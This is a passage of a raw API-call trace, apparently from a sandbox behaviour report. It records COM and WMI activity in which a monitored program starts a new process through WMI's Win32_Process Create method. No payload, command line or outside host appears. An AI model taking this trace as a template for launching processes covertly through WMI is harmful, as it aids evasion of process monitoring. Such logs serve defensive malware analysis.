wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851098*=13, plFlavor=0x285109c*=32) returned 0x0 [0125.292] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7c70) returned 0x0 [0125.292] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0125.292] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0125.293] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0125.293] IUnknown:AddRef (This=0x1b4d7c70) returned 0x3 [0125.293] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0125.293] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0125.293] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7c78) returned 0x0 [0125.293] IMarshal:GetUnmarshalClass (in: This=0x1b4d7c78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0125.293] IUnknown:Release (This=0x1b4d7c78) returned 0x3 [0125.293] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0125.293] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0125.293] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0125.294] IUnknown:Release (This=0x1b4d7c70) returned 0x2 [0125.294] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0125.294] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0125.294] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0125.294] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0125.294] IUnknown:QueryInterface (in: This=0x1b4d7c70, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0125.294] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0125.294] IUnknown:AddRef (This=0x1b4d7c70) returned 0x3 [0125.294] IWbemClassObject:Put (This=0x5f4840, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7c70, varVal2=0x0), Type=0) returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0125.297] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.297] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.297] WbemLocator:IUnknown:AddRef (This=0x1b511238) returned 0x3 [0125.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511238) returned 0x0 [0125.298] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x3 [0125.298] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x2 [0125.298] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.298] WbemLocator:IUnknown:AddRef (This=0x1b511238) returned 0x3 [0125.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511238) returned 0x0 [0125.298] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x3 [0125.298] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x2 [0125.298] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0125.298] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0125.298] IWbemServices:ExecMethod (in: This=0x1b4cfb50, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x5f4840, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4348a0, ppCallResult=0x0) returned 0x0 [0125.431] IWbemClassObject:Get (in: This=0x1b4348a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28513a8*=0, plFlavor=0x28513ac*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc4, varVal2=0x0), pType=0x28513a8*=19, plFlavor=0x28513ac*=0) returned 0x0 [0125.431] IWbemClassObject:Get (in: This=0x1b4348a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28513a8*=19, plFlavor=0x28513ac*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc4, varVal2=0x0), pType=0x28513a8*=19, plFlavor=0x28513ac*=0) returned 0x0 [0125.431] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0125.431] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0125.431] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0125.431] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.432] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x632d40) returned 0x0 [0125.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x632d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0125.432] WbemDefPath:IClassFactory:CreateInstance (in: This=0x632d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4afe20) returned 0x0 [0125.432] WbemDefPath:IUnknown:Release (This=0x632d40) returned 0x0 [0125.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4afe20) returned 0x0 [0125.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0125.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0125.433] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0125.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0125.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0125.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x6331e0) returned 0x0 [0125.433] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x6331e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.433] WbemDefPath:IUnknown:Release (This=0x6331e0) returned 0x3 [0125.433] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0125.433] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0125.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0125.433] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0125.433] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0125.433] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0125.433] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0125.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4afe20) returned 0x0 [0125.433] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0125.433] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0125.433] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0125.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0125.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0125.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0125.433] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afe20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0125.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0125.434] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afe20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0125.434] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0125.434] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0125.434] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0125.434] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.435] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x633220) returned 0x0 [0125.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x633220, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0125.435] WbemDefPath:IClassFactory:CreateInstance (in: This=0x633220, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af520) returned 0x0 [0125.435] WbemDefPath:IUnknown:Release (This=0x633220) returned 0x0 [0125.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af520) returned 0x0 [0125.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0125.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0125.437] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0125.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0125.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0125.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x65af60) returned 0x0 [0125.437] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x65af60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.438] WbemDefPath:IUnknown:Release (This=0x65af60) returned 0x3 [0125.438] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0125.438] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0125.438] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0125.438] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0125.438] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0125.438] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0125.438] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0125.438] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af520) returned 0x0 [0125.438] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0125.438] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0125.438] WbemDefPath:IWbemPath:SetText (This=0x1b4af520, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0125.438] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.439] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0125.439] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0125.439] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0125.439] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.439] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 